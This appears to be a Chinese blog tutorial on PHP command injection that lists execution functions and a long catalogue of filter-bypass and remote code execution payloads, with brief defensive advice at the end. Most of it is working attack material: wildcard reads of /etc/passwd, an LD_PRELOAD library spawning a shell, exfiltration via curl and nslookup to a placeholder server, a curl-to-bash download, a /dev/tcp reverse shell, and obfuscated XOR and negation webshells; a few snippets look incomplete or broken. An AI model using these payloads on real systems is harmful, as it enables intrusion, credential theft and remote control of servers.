引言:命令注入的本质
命令注入(Command Injection)是Web安全领域最危险的漏洞之一,它允许攻击者在目标服务器上执行任意系统命令。PHP作为广泛使用的服务器端脚本语言,提供了丰富的命令执行函数,这些函数在给开发者带来便利的同时,也成为了攻击者的重要目标。
本文将系统梳理PHP中常见的命令执行函数,并深入探讨各种绕过安全防护的技巧。无论你是安全研究员、渗透测试人员,还是希望加固自己应用安全的开发者,这份指南都将为你提供有价值的参考。
第一部分:PHP命令执行函数大全
1.1 基础执行函数
system()
system('whoami');
最常用的命令执行函数,直接输出结果并返回最后一行。
exec()
exec('ls -la', $output);
// $output是一个数组,包含命令输出的每一行
特点:不直接输出结果,而是返回最后一行,完整结果存储在数组参数中。
passthru()
passthru('ping -c 4 8.8.8.8');
用途:适合执行二进制数据输出,如图像、音频等。
shell_exec()
$result = shell_exec('ls -la');
特点:无回显,需要通过echo等函数输出结果。
反引号运算符
$result = `ls -la`; // 等同于shell_exec()
popen()
$handle = popen('ls -la', 'r');
while (!feof($handle)) {
echo fgets($handle);
}
pclose($handle);
用途:建立进程管道,可进行读写操作。
proc_open()
$descriptorspec = array(
0 => array("pipe", "r"),
1 => array("pipe", "w")
);
$process = proc_open('ls -la', $descriptorspec, $pipes);
echo stream_get_contents($pipes[1]);
proc_close($process);
功能:更强大的进程控制,可同时处理输入输出。
pcntl_exec()
pcntl_exec('/bin/ls', ['-la']);
限制:执行二进制文件,当前进程会被替换。
1.2 回调执行函数
除了直接命令执行函数,PHP还提供了多种间接执行方式:
// 回调函数执行
preg_replace('/.*/e', 'system("whoami")', ''); // PHP 5.5.0+ 废弃
ob_start('system');
第二部分:基础绕过技巧
2.1 命令拼接符
; 顺序执行(在Linux和Windows均有效)
& 后台执行,无论前一个命令成功与否
&& 逻辑与,前一个成功才执行后一个
| 管道符,将前一个命令的输出作为后一个命令的输入
|| 逻辑或,前一个失败才执行后一个
实战示例:
// 输入:ip=127.0.0.1; whoami
system("ping -c 4 " . $_GET['ip']);
2.2 空格绕过技巧
过滤空格时,可以用以下方法代替:
# 大括号语法
{cat,flag.php}
# 内部字段分隔符(IFS)
cat$IFSflag.php
cat${IFS}flag.php
cat$IFS$9flag.php
# 重定向符
cat<flag.php
cat<>flag.php
# URL编码
%09(Tab键)
%20(空格)
# 换行符
cat%0aflag.php
2.3 文件名过滤绕过
# 通配符
cat fl*?
cat f???.???
cat /???/??t /???/???s?wd # 执行 /bin/cat /etc/passwd
# 引号
cat f'l'ag.php
cat f""lag.php
# 反斜杠
cat f\l\ag.php
# 特殊变量
cat flag.p$1hp
cat f${PATH:5:1}ag.p${PATH:15:1}p
# 从PATH环境变量中截取字符
# 内联执行
a=fl;b=ag;c=.p;d=hp;cat $a$b$c$d
2.4 读取文件命令替代
当cat被过滤时,可使用其他命令:
tac # 反向显示(行序反转)
more # 分页查看
less # 分页查看
head # 查看文件头部
tail # 查看文件尾部
nl # 显示行号
od -A -d -c # 八进制显示
xxd # 十六进制显示
sort # 排序显示
uniq # 去重显示
file -f # 读取文件内容
grep '' flag.php # 匹配空字符串
第三部分:高级Bypass技术
3.1 LD_PRELOAD绕过
原理:通过设置LD_PRELOAD环境变量,让系统预加载自定义的.so文件,从而劫持系统函数调用。
条件:
- 能上传自己的.so文件
- 能控制环境变量(如putenv函数未被禁用)
实现步骤:
// payload.c
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
int getuid() {
system("/bin/sh");
return 0;
}
# 编译
gcc -shared -fPIC payload.c -o payload.so
# PHP利用代码
<?php
putenv("LD_PRELOAD=/tmp/payload.so");
mail("a@b.c", "sub", "msg", "");
?>
3.2 无回显命令执行技巧
当命令执行无回显时,可以采用以下方法:
1. 延迟注入(盲注)
# 通过响应时间判断
cat flag.php | grep a && sleep 5
2. 逐字符提取
# 提取第一个字符
cat flag.php | cut -c 1
# 配合判断
if [ $(cat flag.php | cut -c 1) == "f" ]; then sleep 5; fi
3. 外带数据
# DNS外带
nslookup `cat flag.php`.your-server.com
# HTTP外带
curl http://your-server.com/`cat flag.php`
4. 利用awk
# 逐行读取
cat flag.php | awk NR==1 # 输出第一行
cat flag.php | awk NR==2 # 输出第二行
3.3 长度限制绕过
长度限制为7字符
利用>和>>逐步构建命令:
# 基础文件创建
> cat
> flag.php
ls -t > s
sh s
核心技巧:>创建文件,>>追加内容,ls -t按时间排序。
长度限制为5字符
更极端的绕过方式:
# 利用*通配符和rev反转
> dir
> ht- > sl
> * > v
rev v > x
sh x
长度限制为4字符
# 结合curl下载远程payload
curl |ip|bash
# 将命令转换为十六进制
echo "bash -i >& /dev/tcp/ip/port 0>&1" | base64
3.4 编码绕过
Hex编码
echo "63617420666c61672e706870" | xxd -r -p | bash
Base64编码
echo "Y2F0IGZsYWcucGhw" | base64 -d | bash
printf解码
printf "\x63\x61\x74\x20\x66\x6c\x61\x67\x2e\x70\x68\x70" | bash
第四部分:无参数RCE技术
4.1 getallheaders()利用
<?php
print_r(pos(getallheaders()));
// 在HTTP头中注入系统命令
?>
// 请求示例
GET /?cmd=system('ls') HTTP/1.1
Host: target.com
cmd: system('ls')
4.2 get_defined_vars()利用
<?php
eval(end(pos(get_defined_vars())));
// URL: ?cmd=system('ls');
?>
4.3 Session ID利用
<?php
show_source(session_id(session_start()));
// 设置PHPSESSID为文件路径,如../../flag.php
?>
4.4 目录操作函数链
<?php
// 获取当前目录
print_r(scandir(getcwd()));
// 读取根目录
print_r(scandir(dirname(dirname(getcwd()))));
// 获取/字符
$slash = strrev(crypt(serialize(array())))[0];
?>
第五部分:高级字符限制绕过
5.1 仅数字和字母
PHP中可以利用数组和自增特性:
<?php
$_=[];
$__=$_;
$_=~$_;
// 利用PHP的字符串操作特性
?>
5.2 特殊符号被过滤
短标签绕过:
<?=phpinfo();?>
GET方式提交:
?><?=`{${~"command"}[?]}`?>
5.3 $符号被过滤
<?php
// PHP 7以下
(call_user_func)(system,whoami);
?>
5.4 全部字母数字被过滤
异或绕过(PHP 5):
<?php
$_=(''^'[').('"'^'(').('"'^'/').('^'^'`').('('^'[').('|'^'$').('{'^'/').('"'^'(');
$__=('!'^'@').('"'^'(').('"'^'*').('('^'~').('['^'+').('{'^'/');
$___=$$__;
$___($_[_]);
?>
取反绕过:
<?php
$__=~urldecode('%9E%8C%8C%9A%8D%8B'); // ~system
$___=~urldecode('%97%8B%9A%9C%90%91%93%8B%90%96'); // ~_POST
$__($$___[_]);
?>
自增绕过:
<?php
$_=[]; // Array
$__=$_; // Array
$_=$_[$__]; // 0
$_++;$_++; // 2
?>
第六部分:实战场景与防护建议
6.1 常见WAF绕过技巧
- 双重编码
- 大小写混淆
- 添加注释
- 利用协议特性
6.2 防护措施
输入验证:
// 白名单验证
$allowed_commands = ['ping', 'traceroute'];
if (!in_array($command, $allowed_commands)) {
die('Invalid command');
}
输出转义:
$command = escapeshellcmd($_GET['cmd']);
$output = shell_exec($command);
禁用危险函数:
disable_functions = system,exec,passthru,shell_exec,popen,proc_open
6.3 安全编码实践
// 推荐:使用参数化或预定义选项
$host = $_GET['host'];
if (filter_var($host, FILTER_VALIDATE_IP)) {
$output = shell_exec("ping -c 4 " . escapeshellarg($host));
}
结语
命令注入防御是一场持续的军备竞赛。攻击者不断发现新的绕过技巧,而防御者则需要持续更新防护策略。理解这些技术细节不仅是安全研究者的需求,更是每一位开发者的必修课。
关键原则:
- 永远不要信任用户输入
- 尽量使用内置API代替系统命令
- 多层次防御比单一防护更可靠
- 保持系统、框架和库的及时更新
技术在不断演进,攻防双方都在进步。保持学习、保持警惕,才是保障系统安全的根本之道。
原文 https://blog.csdn.net/2301_79518550/article/details/163399185